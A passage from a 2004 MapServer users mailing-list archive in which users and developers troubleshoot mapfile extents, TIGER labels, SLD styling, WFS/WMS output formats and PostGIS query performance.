Patto Kanegae >>>>>http://www.consultoria.eti.br >>>>> >>>>>## Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ## >>>> >>>>*************************************** >>>> >>>>>***Fim da Mensagem / End of Message *** >>>>>*************************************** >>>>> >>>>> >>>>> >>>>> >>>>> >>>>>On Sat, 28 Feb 2004 13:41:30 -0700 (MST), >>>> >>>>escreveu: >>>> >>>>>>De: >>>>>>Data: Sat, 28 Feb 2004 13:41:30 -0700 (MST) >>>>>>Para: >>>>>>Assunto: [Mapserver-users] Mapserver compiled and source download >>>>>> >>>>>>Hello, >>>>>> >>>>>>Is there somewhere where i can download the source and compiled >>>> >>>>version together? I am having problems compiling mapserver and all i >>>>really need is the mapserver.lib file (and any other library >>>>files). >>>> >>>>>>thank you for your help, >>>>>>will >>>>>> >>>>>> >>>>>>_______________________________________________ >>>>>>Mapserver-users mailing list >>>>>>Mapserver-users at lists.gis.umn.edu >>>>>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >>>>>> >>>>>> >>>>>> >>>>> >>>>>_______________________________________________ >>>>>Mapserver-users mailing list >>>>>Mapserver-users at lists.gis.umn.edu >>>>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >>>> >>>> >>>> >>>> >>>> >>>> >>>_______________________________________________ >>>Mapserver-users mailing list >>>Mapserver-users at lists.gis.umn.edu >>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> >> >> >>_______________________________________________ >>Mapserver-users mailing list >>Mapserver-users at lists.gis.umn.edu >>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- ---------------------------------------------------------------- Assefa Yewondwossen Software Analyst Email: assefa at dmsolutions.ca http://www.dmsolutions.ca/ Phone: (613) 565-5056 (ext 14) Fax: (613) 565-0925 ---------------------------------------------------------------- From mountainduo at mho.com Tue Mar 2 10:51:36 2004 From: mountainduo at mho.com (mountainduo at mho.com) Date: Tue, 2 Mar 2004 11:51:36 -0700 (MST) Subject: [Mapserver-users] Mapserver compiled and source download In-Reply-To: <4044D391.1010404@dmsolutions.ca> References: <1423.64.58.31.38.1078007010.squirrel@a.mail.mho.net> <20040229025428.19294.qmail@hm47.locaweb.com.br> <3638.64.58.31.38.1078099130.squirrel@a.mail.mho.net> <4931.64.58.31.38.1078250029.squirrel@a.mail.mho.net> <4044D391.1010404@dmsolutions.ca> Message-ID: <3760.64.58.31.38.1078253496.squirrel@a.mail.mho.net> Awesome, thanks. Now my linker is complaining about the gd library. Can you post the gd windows library as well? thanks! > Hi there, > > I have put a mapserver lib that comes from a build on my machine > (mapserver cvs from a couple of days ago) at > www2.dmsolutions.ca/tmp/mapservlib.zip. > Not sure if you need more that this file. Le me know. > > Later, > > > > mountainduo at mho.com wrote: >> I guess what i hoped to get is a download file that had the source and >> also the compiled objects so then i can create a windows dll so i can >> use java. >> >> i get the mapscript_wrap.c to compile but then when i try to link the >> compiled object i get a lot of undifined references to mapserver >> functions. This is where i need the compiled mapserver library files >> so i can link and create my dll. I had thought i had seen somewhere >> that there was a mapserver.lib file but i could be wrong. >> >> can you post this zip file? >> >> thanks a lot >> >> >>>>mapserver.lib ??? >>>> >>>>I never saw it before! please be sure the filename u want. >>>> >>>>best. >>>> >>>>Eduardo Patto Kanegae >>>>http://www.consultoria.eti.br >>>> >>>>## Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ## >>>> *************************************** >>>>***Fim da Mensagem / End of Message *** >>>>*************************************** >>>> >>>> >>>> >>>> >>>> >>>>On Sat, 28 Feb 2004 15:23:30 -0700 (MST), >>>> escreveu: >>>> >>>> >>>>>De: >>>>>Data: Sat, 28 Feb 2004 15:23:30 -0700 (MST) >>>>>Para: >>>>>Assunto: Re: [Mapserver-users] Mapserver compiled and source >>>>> download >>>>> >>>>>Thank you for your reply. I have downloaded a few of the files but >>>>> still can't find the mapserver.lib file. Can you tell me which file >>>>> i should download? >>>>> >>>>>thanks again, >>>>>will >>>>> >>>>> >>>>>>http://www2.dmsolutions.ca/webtools/dl/ >>>>>> >>>>>>Eduardo Patto Kanegae >>>>>>http://www.consultoria.eti.br >>>>>> >>>>>>## Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ## >>>>> >>>>>*************************************** >>>>> >>>>>>***Fim da Mensagem / End of Message *** >>>>>>*************************************** >>>>>> >>>>>> >>>>>> >>>>>> >>>>>> >>>>>>On Sat, 28 Feb 2004 13:41:30 -0700 (MST), >>>>> >>>>>escreveu: >>>>> >>>>>>>De: >>>>>>>Data: Sat, 28 Feb 2004 13:41:30 -0700 (MST) >>>>>>>Para: >>>>>>>Assunto: [Mapserver-users] Mapserver compiled and source download >>>>>>> >>>>>>>Hello, >>>>>>> >>>>>>>Is there somewhere where i can download the source and compiled >>>>> >>>>>version together? I am having problems compiling mapserver and all i >>>>> really need is the mapserver.lib file (and any other library >>>>>files). >>>>> >>>>>>>thank you for your help, >>>>>>>will >>>>>>> >>>>>>> >>>>>>>_______________________________________________ >>>>>>>Mapserver-users mailing list >>>>>>>Mapserver-users at lists.gis.umn.edu >>>>>>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >>>>>>> >>>>>>> >>>>>>> >>>>>> >>>>>>_______________________________________________ >>>>>>Mapserver-users mailing list >>>>>>Mapserver-users at lists.gis.umn.edu >>>>>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >>>>> >>>>> >>>>> >>>>> >>>>> >>>>> >>>>_______________________________________________ >>>>Mapserver-users mailing list >>>>Mapserver-users at lists.gis.umn.edu >>>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >>> >>> >>> >>>_______________________________________________ >>>Mapserver-users mailing list >>>Mapserver-users at lists.gis.umn.edu >>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> >> >> >> >> _______________________________________________ >> Mapserver-users mailing list >> Mapserver-users at lists.gis.umn.edu >> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> > > > -- > ---------------------------------------------------------------- > Assefa Yewondwossen > Software Analyst > > Email: assefa at dmsolutions.ca > http://www.dmsolutions.ca/ > > Phone: (613) 565-5056 (ext 14) > Fax: (613) 565-0925 > ---------------------------------------------------------------- From jnielsen at aero-graphics.com Tue Mar 2 10:59:09 2004 From: jnielsen at aero-graphics.com (Jason M. Nielsen) Date: Tue, 2 Mar 2004 11:59:09 -0700 Subject: [Mapserver-users] Projection issue... Message-ID: <1078253949.4044d97d79fac@www.agi-lan.com> Anyone see anything wrong with the following? As far as I can tell the rest of the map file etc is ok. I pushed this all over into the itasca demo to try and debug what I have goofy. All I am getting is a black area as if I have an extents problem. TIA # SLC section in WGS 84 Lat Long Decimal Degrees NAME SLC STATUS ON SIZE 558 360 #WGS84 EXTENT 40.1 -112.8 40.6 -111.4 UNITS DD SHAPEPATH "data" IMAGECOLOR 0 0 0 IMAGETYPE PNG24 ... [root at localhost data]# ogrinfo -al slc2002photos.shp | more INFO: Open of `slc2002photos.shp' using driver `ESRI Shapefile' successful. Layer name: slc2002photos Geometry: Point Feature Count: 392 Extent: (-112.064000, 40.263300) - (-111.471300, 40.500400) Layer SRS WKT: PROJCS["WGS_1984_TM_36_SE", GEOGCS["GCS_WGS_1984", DATUM["WGS_1984", SPHEROID["WGS_1984",6378137.0,298.257223563]], PRIMEM["Greenwich",0.0], UNIT["Degree",0.0174532925199433]], PROJECTION["Transverse_Mercator"], PARAMETER["False_Easting",500000.0], PARAMETER["False_Northing",10000000.0], PARAMETER["Central_Meridian",36.0], PARAMETER["Scale_Factor",0.9996], PARAMETER["Latitude_Of_Origin",0.0], UNIT["Meter",1.0]] ------------------------------------------------- This mail sent through IMP: http://horde.org/imp/ From keon at nacse.org Tue Mar 2 11:00:58 2004 From: keon at nacse.org (Dylan Keon) Date: Tue, 02 Mar 2004 11:00:58 -0800 Subject: [Mapserver-users] Re: help me !!! In-Reply-To: References: Message-ID: <4044D9EA.5030004@nacse.org> Dharani, I haven't played around with tiger line data. You probably just need to set LABELITEM for each layer, then define a LABEL object within each CLASS. Here are a couple of posts from the archives that might help: http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0202/msg00113.html http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0301/msg00553.html You might also find some clues on the OGR howto page: http://mapserver.gis.umn.edu/doc/ogr-howto.html --Dylan Dharani Babu wrote: > Mr.Keon > I am dharani babu from chennai , india . I found your reference at > http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0308/msg00012.html > .( I am sending this mail after posting several time to map server list ) > > I am a new map server user . I request you to consider help me with > my problem .I have been as of now able to render TIGER file maps thro > Mapserver . I have the ms4w package set up and have apache running . I > am now able to render theTIGER files' CompleteChain , Landmarks and PIP > . But I am trying to find hard to display the names ( labels right)on > the streets and landmarks and capitals .To tell you what I did .....I > ran ogrinfo on the tiger folder and got the following Layers . > Had to open data source read-only. > INFO: Open of `c:/ms4w/apache/htdocs/demof/data/rm' > using driver `TIGER' successful. > 1: CompleteChain (Line String) > 2: AltName (None) > 3: FeatureIds (None) > 4: ZipCodes (None) > 5: Landmarks (Point) > 6: AreaLandmarks (None) > 7: KeyFeatures (None) > 8: Polygon (None) > 9: EntityNames (Point) > 10: IDHistory (None) > 11: PolyChainLink (None) > 12: PIP (Point) > 13: TLIDRange (None) > 14: ZipPlus4 (None) > And I am pasting the mapfile content I use. Please go thro it and advise > me WHERE and HOW Should I add > the LABELs ? So that I can get the names of capitals and landmarks and > streets displayed on the > map . I tried to add the LABEL defintions(which I found in your message) > to the LAYERS but got mapserver error . > > # > # Start of map file > # > NAME DEMO > STATUS ON > SIZE 600 600 > EXTENT -71.451310 42.737590 -70.575094 43.274201 > #UNITS DEGREES > SHAPEPATH "C:/ms4w/apache/htdocs/demof/data/rm/" > IMAGECOLOR 255 255 255 > > IMAGETYPE png > > # > # Projection definition, consult the PROJ.4 documentation for parameter > discussi > # > #PROJECTION > # "proj=utm" > # "ellps=GRS80" > # "zone=10" > # "north" > # "no_defs" > # "init=EPSG:26910" > #END > > # > # Start of web interface definition > # > WEB > HEADER tiger > TEMPLATE temp_rm4.html > FOOTER demo_footer.html > # MINSCALE 1000 > # MAXSCALE 1550000 > IMAGEPATH "C:/ms4w/apache/htdocs/temp_rm1/" > IMAGEURL "/temp_rm1/" > # LOG "demo.log" > END > > QUERYMAP > SIZE 200 200 > STATUS ON > STYLE HILITE > COLOR 255 0 0 > END > > # > # Start of reference map > # > REFERENCE > IMAGE graphics/dem.gif > EXTENT 481314.93 5620068.63 703440.19 5837331.76 > SIZE 200 192 > STATUS OFF > COLOR -1 -1 -1 > OUTLINECOLOR 255 0 0 > END > > # > # Start of legend > # > LEGEND > KEYSIZE 18 12 > LABEL > TYPE BITMAP > SIZE MEDIUM > COLOR 0 0 89 > END > STATUS ON > END > > # > # Setting up output formats > # > > #OUTPUTFORMAT > # NAME png > #DRIVER "GD/PNG" > #MIMETYPE "image/png" > #IMAGEMODE RGB #PC256 > #EXTENSION "png" > #END > > # > # Start of scalebar > # > SCALEBAR > IMAGECOLOR 255 255 255 > LABEL > COLOR 255 255 255 > SIZE tiny > END > STYLE 1 > SIZE 50 2 > COLOR 255 255 255 > UNITS KILOMETERS > INTERVALS 1 > TRANSPARENT TRUE > STATUS TRUE > END > > > SYMBOL > NAME "circle" > TYPE ellipse > FILLED true > POINTS > 1 1 > END > END > > # > # Start of layer definitions > # > > LAYER > GROUP tigerdata > NAME tiger1 > TYPE LINE > STATUS DEFAULT > CONNECTIONTYPE OGR > CONNECTION "C:/ms4w/apache/htdocs/demof/data/rm" > DATA "CompleteChain" > CLASS > SYMBOL "circle" > SIZE 1 > COLOR 200 0 0 > END > END > > > LAYER > GROUP tigerdata > NAME tiger5 > TYPE POLYGON > STATUS DEFAULT > CONNECTIONTYPE OGR > CONNECTION "C:/ms4w/apache/htdocs/demof/data/tigertest" > DATA "Landmarks" > CLASS > SYMBOL "circle" > SIZE 1 > COLOR 200 0 0 > END > END > > LAYER > GROUP tigerdata > NAME tiger12 > TYPE POINT > STATUS DEFAULT > CONNECTIONTYPE OGR > CONNECTION "C:/ms4w/apache/htdocs/demof/data/tigertest" > DATA "PIP" > CLASS > SYMBOL "circle" > SIZE 8 > COLOR 0 0 200 > END > END > > END # Map file > > Please advise me with the above stuff !!! As you can see I have been > able to render the LAYERS which have geometry ( line and point ) but I > dont know what I can do with layers that have no geomoetry . ... > Expecting your reply > With regards and thanks in advance > dharani From mapgisnewbies at yahoo.com Tue Mar 2 11:51:27 2004 From: mapgisnewbies at yahoo.com (we wei) Date: Tue, 2 Mar 2004 11:51:27 -0800 (PST) Subject: [Mapserver-users] Customize style in WMS layers Message-ID: <20040302195127.55747.qmail@web20723.mail.yahoo.com> Hi all, I have a question about customize style for WMS layers which I tried to add to my CWC2 demo. I want to modified symbols, color, or fonts on WMS layers which I imported from other WMS servers. Will it be possible to do this? I just wonder if SLD is used for modifying WMS layers' style. If it is so, could anyone give me an example on how to use it or if I need any thing on client-side or server-side in order to make it work? If SLD is not used in this way, what is the proper way to make this work? Any help would be greatly apprectiate :) Thanks in advance! __________________________________ Do you Yahoo!? Yahoo! Search - Find what you?re looking for faster http://search.yahoo.com From bartvde at xs4all.nl Tue Mar 2 13:08:55 2004 From: bartvde at xs4all.nl (Bart van den Eijnden) Date: Tue, 02 Mar 2004 22:08:55 +0100 Subject: [Mapserver-users] Customize style in WMS layers In-Reply-To: <20040302195127.55747.qmail@web20723.mail.yahoo.com> References: <20040302195127.55747.qmail@web20723.mail.yahoo.com> Message-ID: Hi, SLD is used for this purpose. But the remote WMS server must then support the SLD WMS interface, which you should be able to deduct from its GetCapabilities interface. Normally a GetMap request is accompanied by an SLD document (by URL or with SLD_BODY, see OGC spec for exact details) in order to influence the style/symbology in which a layer will be drawn. Examples can be found on the Wiki: http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?SLDMapServer Best regards, Bart On Tue, 2 Mar 2004 11:51:27 -0800 (PST), we wei wrote: > Hi all, > > I have a question about customize style for WMS layers > which I tried to add to my CWC2 demo. I want to > modified symbols, color, or fonts on WMS layers which > I imported from other WMS servers. Will it be > possible to do this? I just wonder if SLD is > used for modifying WMS layers' style. If it is so, > could anyone give me an example on how to use it or if > I need any thing on client-side or server-side in > order to make it work? If SLD is not used in this > way, what is the proper way to make this work? Any > help would be greatly apprectiate :) > > Thanks in advance! > > > __________________________________ > Do you Yahoo!? > Yahoo! Search - Find what you???re looking for faster > http://search.yahoo.com > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- From warmerdam at pobox.com Tue Mar 2 13:21:40 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Tue, 02 Mar 2004 16:21:40 -0500 Subject: [Mapserver-users] Projection issue... In-Reply-To: <1078253949.4044d97d79fac@www.agi-lan.com> References: <1078253949.4044d97d79fac@www.agi-lan.com> Message-ID: <4044FAE4.90305@pobox.com> Jason M. Nielsen wrote: > Anyone see anything wrong with the following? > > As far as I can tell the rest of the map file etc is ok. I pushed this all over > into the itasca demo to try and debug what I have goofy. All I am getting is a > black area as if I have an extents problem. > > TIA > > # SLC section in WGS 84 Lat Long Decimal Degrees > NAME SLC > STATUS ON > SIZE 558 360 > #WGS84 > EXTENT 40.1 -112.8 40.6 -111.4 > UNITS DD > SHAPEPATH "data" > IMAGECOLOR 0 0 0 > IMAGETYPE PNG24 > > ... > > [root at localhost data]# ogrinfo -al slc2002photos.shp | more > INFO: Open of `slc2002photos.shp' > using driver `ESRI Shapefile' successful. > > Layer name: slc2002photos > Geometry: Point > Feature Count: 392 > Extent: (-112.064000, 40.263300) - (-111.471300, 40.500400) > Layer SRS WKT: > PROJCS["WGS_1984_TM_36_SE", > GEOGCS["GCS_WGS_1984", > DATUM["WGS_1984", > SPHEROID["WGS_1984",6378137.0,298.257223563]], > PRIMEM["Greenwich",0.0], > UNIT["Degree",0.0174532925199433]], > PROJECTION["Transverse_Mercator"], > PARAMETER["False_Easting",500000.0], > PARAMETER["False_Northing",10000000.0], > PARAMETER["Central_Meridian",36.0], > PARAMETER["Scale_Factor",0.9996], > PARAMETER["Latitude_Of_Origin",0.0], > UNIT["Meter",1.0]] Jason, Well, this stuff from ogrinfo about it being transverse mercator is clearly wrong. Perhaps someone dumped an improper .prj file with the dataset? But I don't think this is related to your issues. Your mapfile seems to have the X and Y values switched. Shouldn't your extents be "xmin ymin xmax ymax"? EXTENT -112.8 40.1 -111.4 40.6 Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From warmerdam at pobox.com Tue Mar 2 13:24:28 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Tue, 02 Mar 2004 16:24:28 -0500 Subject: [Mapserver-users] Displaying an Elevation Profile In-Reply-To: <4044C898.2060900@icesat2.gsfc.nasa.gov> References: <4044C898.2060900@icesat2.gsfc.nasa.gov> Message-ID: <4044FB8C.9080908@pobox.com> Zipora Sidel wrote: > Hi, > I am new to the MapServer and quite overwhelmed from all the options > available to the user. > However, it is not clear to me if I can use the software for my > application. > My data is a grid file (latitude, longitude, elevation). I would like to > display the map on the web and by clicking the mouse in two points, be > able to display the elevation profile between those two points. > Any help will be appreciated. Tzipi, Your application would not be supported out of the box. You could use mapserver for the mapping, but when you want to process the profile request that would have to be done via some other mechanism. In theory you could write a python cgi that used GDAL to sample along the profile line, and then drew some sort of graph. But your application will take substantial customization and effort on MapServer. Of course, it may be that not many other mapservers would support this easily out of the box either. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From jnielsen at aero-graphics.com Tue Mar 2 13:50:08 2004 From: jnielsen at aero-graphics.com (Jason M. Nielsen) Date: Tue, 2 Mar 2004 14:50:08 -0700 Subject: [Mapserver-users] Projection issue... In-Reply-To: <4044FAE4.90305@pobox.com> References: <1078253949.4044d97d79fac@www.agi-lan.com> <4044FAE4.90305@pobox.com> Message-ID: <1078264208.404501902cd84@www.agi-lan.com> Quoting Frank Warmerdam : > Jason M. Nielsen wrote: > > Anyone see anything wrong with the following? > > > > As far as I can tell the rest of the map file etc is ok. I pushed this all > over > > into the itasca demo to try and debug what I have goofy. All I am getting > is a > > black area as if I have an extents problem. > > > > TIA > Jason, > > Well, this stuff from ogrinfo about it being transverse mercator is clearly > wrong. Perhaps someone dumped an improper .prj file with the dataset? > But > I don't think this is related to your issues. > > Your mapfile seems to have the X and Y values switched. Shouldn't > your extents be "xmin ymin xmax ymax"? > > EXTENT -112.8 40.1 -111.4 40.6 Yah I have determined the coordinate system must be incorrect only due to searching through the epsg file. I am a computer grunt not a gis person etc so until after banging my head against this for a long time did I finally come to this realization. With regard to the extents bass ackwards.. That was it! Thank you! Soon as I read your post my head hit my desk then my hand my forehead repeatedly. I think I could hear someone going "DOH!". Thanks! ------------------------------------------------- This mail sent through IMP: http://horde.org/imp/ From steve.lime at dnr.state.mn.us Tue Mar 2 15:37:42 2004 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Tue, 02 Mar 2004 17:37:42 -0600 Subject: [Mapserver-users] WMS Problems... Message-ID: Hi Folks: I'm running into a few WMS issues that perhaps others have witnessed (this is all MapServer 4.0, w/GDAL and Proj): - In a GetCapabilties request (version 1.1.1) tiff is showing up as an output format even though a tiff output format is not set. GetMap requests wanting tiff output subsequently fail. Seems to work (I get a file and not an error) if I add a tiff output format. For some reason I thought there was a default tiff format but if so it ain't working. - In a GetCapabilties request (version 1.0.0) I can't seem to extend the list of output formats by defining more of them in the map file. I always and up with the 4 standard GD formats, but at least tiff ain't there. ;-) - How would one advertise the ability to create DIFFERENT tiff formats? (e.g. 8-bit vs. 24-bit) For many databsets it makes sense to use one or the other. I've tried creating 2 output formats but that doesn't seem to have any effect, nor can I or a user choose one. Steve From steve.lime at dnr.state.mn.us Tue Mar 2 15:50:28 2004 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Tue, 02 Mar 2004 17:50:28 -0600 Subject: [Mapserver-users] Mouse Over Message-ID: MapServer does not do much (if any) caching of features. It does cache some information from a query to make processing a bit faster but it's nothing more than an id value and class. For a querymap it works like this: 1) query is done, list of matching shapes is created (1st visit to the data) 2) template is parsed, each feature is retrieved and output as necessary (2nd visit to the data) 3) if necessary, query map is produced (3rd visit to the data) Your original assumption is correct and yes, this can be quite expensive depending on the dataset. This is a known issue and there is already a bug filed concerning it- we need to cache features in step 1. With small result sets it's easy, we can just use the feature lists that already exist in MapServer. It get's complicated with large result sets though, especially when multiple instances of the software are running. Memory usage could go through the roof. On the bright side it works fine now with minimal performance issues for most folks and can only get better. Steve >>> "Charlton Purvis" 3/2/2004 7:20:42 AM >>> Well, maybe I can answer part of my question. At least w/ mapscript, everything's bundled into a mapObj, right? So we've already hit the database or whatever and run our queries to produce this object. So if we want a picture, we have to draw something based on this mapObj. If we want a querymap, we have to draw that based on the mapObj. Am I correct in thinking that it is the mapObj that is traversed multiple times to produce multiple outputs? I guess there's no way of getting around that, but it is certainly a heck of a lot better than my original assumption which was that the data sources were being pinged each time. -----Original Message----- From: Charlton Purvis Sent: Tue 3/2/2004 8:02 AM To: Steve Lime; pucher at atlas.gis.univie.ac.at; Michael.Smith at erdc.usace.army.mil; mapserver-users at lists.gis.umn.edu; bartvde at xs4all.nl Cc: Subject: RE: [Mapserver-users] Mouse Over OK. Thanks, Steve. I've got a litlle of both working in my favor: dashing a bit of CGI + a wallop of PHP for the final image + imagemap product. It's working well. But I've got another question that might start to bug me if it turns out to be true. Let's take your example of Minn. and the county names. (Consider using SC data and counties -- we've got great backwards county names.) How many passes is that making through the data? 2? 1 for the image + 1 for the imagemap? Does any kind of caching go on behind the scenes for that 2nd request if there is one? I'm not too worried about it right now since I know that the database is caching my 1st request (if there is a 2nd). But I'm about to unload a bucket load of raster data into the mix of shapefiles in the db, and I know that the system ain't caching squat for those (perhaps some OS-level file caching but that's it) -- tiling, yes, but caching, no? If it is making 2 requests, is there a way I the code could be made more parallel? I.e. one pass produces two or an arbitrary # of outputs. I have negative interest in coding it myself at this point -- I'm more curious than anything. But I think there would be great value in that. At least I know from my own experience on a given screen, the same source data is being shown in about 3 different ways at a given time. So why traverse it more than once? Thanks, Charlton -----Original Message----- From: Steve Lime [mailto:steve.lime at dnr.state.mn.us] Sent: Mon 3/1/2004 6:47 PM To: Charlton Purvis; pucher at atlas.gis.univie.ac.at; Michael.Smith at erdc.usace.army.mil; mapserver-users at lists.gis.umn.edu; bartvde at xs4all.nl Cc: Subject: RE: [Mapserver-users] Mouse Over The searchmap stuff is inherently CGI. Since with MapScript you're essentially writing your own custom CGI you'd have to code it yourself. It's not hard, you just compute the extent of next image BEFORE doing the query. I thought templates can be accessed via MapScript but I may be wrong. If not, then they should be. _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From scoota at supanet.com Tue Mar 2 16:10:35 2004 From: scoota at supanet.com (Keith Campbell) Date: Wed, 03 Mar 2004 00:10:35 +0000 Subject: [Mapserver-users] WFS Layer Problem Message-ID: <4045227B.4030609@supanet.com> Hi All, I'm trying to set up a map file to serve up a WFS layer. I think I've set all the metadata tags specified in the HOWTO but I get a GIF output, not GML. I'm using v4.0 on Windows. Here's the mapfile:- MAP DEBUG TRUE NAME "FIRST" SHAPEPATH "F:\CDS Project\Mapping\shp\" EXTENT 270000 180000 290000 200000 SIZE 600 600 UNITS METERS WEB IMAGEPATH "F:\CDS Project\Working\Dev\MapServer\tmp\" IMAGEURL "/CDSproj/Dev/MapServer/tmp/" LOG "F:\CDS Project\Working\Dev\MapServer\MapServer.log" METADATA "wfs_title" "WFS Demo - CDS Project" "wfs_onlineresource" "http://localhost/cgi-bin/mapserv_40.exe?map=F:/CDS%20Project/Working/Dev/MapServer/firstWFS.map" "wfs_srs" "EPSG:27700" "ows_schemas_location" "http://ogc.dmsolutions.ca/wfs/1.0.0/WFS-basic.xsd" END END # Start of LAYER DEFINITIONS --------------------------------------------- LAYER # UrbanAreas polygon layer begins here NAME UrbanAreas DATA UrbanAreas STATUS DEFAULT TYPE POLYGON DUMP TRUE CLASS STYLE COLOR 232 232 232 OUTLINECOLOR 32 32 32 END END END # UrbanAreas polygon layer ends here # End of LAYER DEFINITIONS ------------------------------- END # end of map file/object Can anybody see what else needs to be added to force the output to GML? Thanks, Keith From steve.lime at dnr.state.mn.us Tue Mar 2 18:32:13 2004 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Tue, 02 Mar 2004 20:32:13 -0600 Subject: [Mapserver-users] Slow Mapserver SVG on postgres db Message-ID: PostGIS may be more sensitive to some of the inefficiencies in MapServer queries. (A common topic today.) Queries force accessing the data twice, once as part of the initial query and a second time for presentation. Different parts of the feature may be used in each case. In addition it may not be the fact that data is accessed twice, but rather the way the second access happens, Refractions folks would have to comment further. The query builds a list of IDs and then during presentation the features are retrieved by ID. I've got a feeling that this ID-based access is particularly expensive with database sources. It's really fast with shapefiles (which is where MapServer started). Typically I've not worried about query speed because that's at the end point for a user. Steve >>> yuth hor 03/02/04 2:59 AM >>> Hi all, Again, I need some guidance about the SVG output. I have tested the new SVG output from nightly build and found that the return SVG map was very slow if I use the Postgres db as an input type. The shape file input gives me a better performance in order to generate the SVG map. It has no problem and quite fast if I use postgres/postgis with raster output. Do you have any idea about this? I have never look into the Mapserver source before, anyone can tell me about the SVG generated process in Mapserver and which module in Mapserver source that use to draw the SVG map? I may take a look that source for better understanding. Some information about my data - the layer is quite large, about 10 * 65 Mb. / layer (shp file) - After dump the shp layer into Postgres, GIST index was already made. Thank you very much in advanced, I also enclosed my map file with this mail for your perusal. Teerayut MAP NAME 'japan' EXTENT 122.935414 24.040589 153.986285 45.554518 STATUS OFF # we don't want a raster map UNITS DD SHAPEPATH "/usr/local/apache/htdocs/japan/data/" WEB HEADER '../header.svg' FOOTER '../footer.svg' QUERYFORMAT 'image/svg+xml' END LAYER CONNECTIONTYPE postgis NAME "z9_road" STATUS DEFAULT CONNECTION "user=postgres dbname=gsi2500 host=10.10.10.100 port=5432" DATA "the_geom from (select gid,the_geom from z9_road) as foo using unique gid using SRID=4301" TYPE QUERY HEADER ../z9_road_header.svg FOOTER ../z9_road_footer.svg TEMPLATE ../z9_road_template.svg END END --------------------------------- Do you Yahoo!? Yahoo! Search - Find what you're looking for faster. From warmerdam at pobox.com Tue Mar 2 19:13:39 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Tue, 02 Mar 2004 22:13:39 -0500 Subject: [Mapserver-users] WMS Problems... In-Reply-To: References: Message-ID: <40454D63.4050706@pobox.com> Steve Lime wrote: > Hi Folks: I'm running into a few WMS issues that perhaps others have > witnessed (this is all MapServer 4.0, w/GDAL and Proj): > > - In a GetCapabilties request (version 1.1.1) tiff is showing up as an > output format even though a tiff output format is not set. GetMap > requests wanting tiff output subsequently fail. Seems to work (I get a > file and not an error) if I add a tiff output format. For some reason I > thought there was a default tiff format but if so it ain't working. Steve, I would assume the TIFF that is showing up is from GDAL. I don't know why the built-in GDAL/GTiff output format definition wouldn't work the same as one you define yourself. Can you produce a smallish example to demonstrate the problem? > - In a GetCapabilties request (version 1.0.0) I can't seem to extend > the list of output formats by defining more of them in the map file. I > always and up with the 4 standard GD formats, but at least tiff ain't > there. ;-) What kinds of OUTPUTFORMAT definition are you using that isn't showing up? > - How would one advertise the ability to create DIFFERENT tiff formats? > (e.g. 8-bit vs. 24-bit) For many databsets it makes sense to use one or > the other. I've tried creating 2 output formats but that doesn't seem to > have any effect, nor can I or a user choose one. Good question. As things stand you could have several output format definitions using the GeoTIFF driver, but with different names. As things stand I think the WMS server code allows formats to be selected by mime type (first matching ... formats declared in the .map file take precidence over implicit definitions) or by the output format name. However, I think (not so sure on this point) that only the mime types are listed in the capabilities document, so variations on the same format aren't going to be visible externally. It seems to me there is some way of adding options to mime types. Perhaps we could have something like a mime type of "image/tiff+24bit" or something. Anyone know more about this? Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From jeff at propertykey.com Tue Mar 2 19:57:08 2004 From: jeff at propertykey.com (Jeff Hoffmann) Date: Tue, 2 Mar 2004 21:57:08 -0600 Subject: [Mapserver-users] WMS Problems... In-Reply-To: <40454D63.4050706@pobox.com> References: <40454D63.4050706@pobox.com> Message-ID: On Mar 2, 2004, at 9:13 PM, Frank Warmerdam wrote: >> - How would one advertise the ability to create DIFFERENT tiff >> formats? >> (e.g. 8-bit vs. 24-bit) For many databsets it makes sense to use one >> or >> the other. I've tried creating 2 output formats but that doesn't seem >> to >> have any effect, nor can I or a user choose one. > > Good question. As things stand you could have several output format > definitions using the GeoTIFF driver, but with different names. As > things stand I think the WMS server code allows formats to be selected > by mime type (first matching ... formats declared in the .map file take > precidence over implicit definitions) or by the output format name. > However, > I think (not so sure on this point) that only the mime types are listed > in the capabilities document, so variations on the same format aren't > going > to be visible externally. > > It seems to me there is some way of adding options to mime types. > Perhaps > we could have something like a mime type of "image/tiff+24bit" or > something. > Anyone know more about this? I believe that the way to do this is to put parameters after the mime type like "image/tiff; color-depth=8". I don't know if there are standards for what these parameters are, especially for different image types, but it's done for different character sets in HTTP requests. You should be 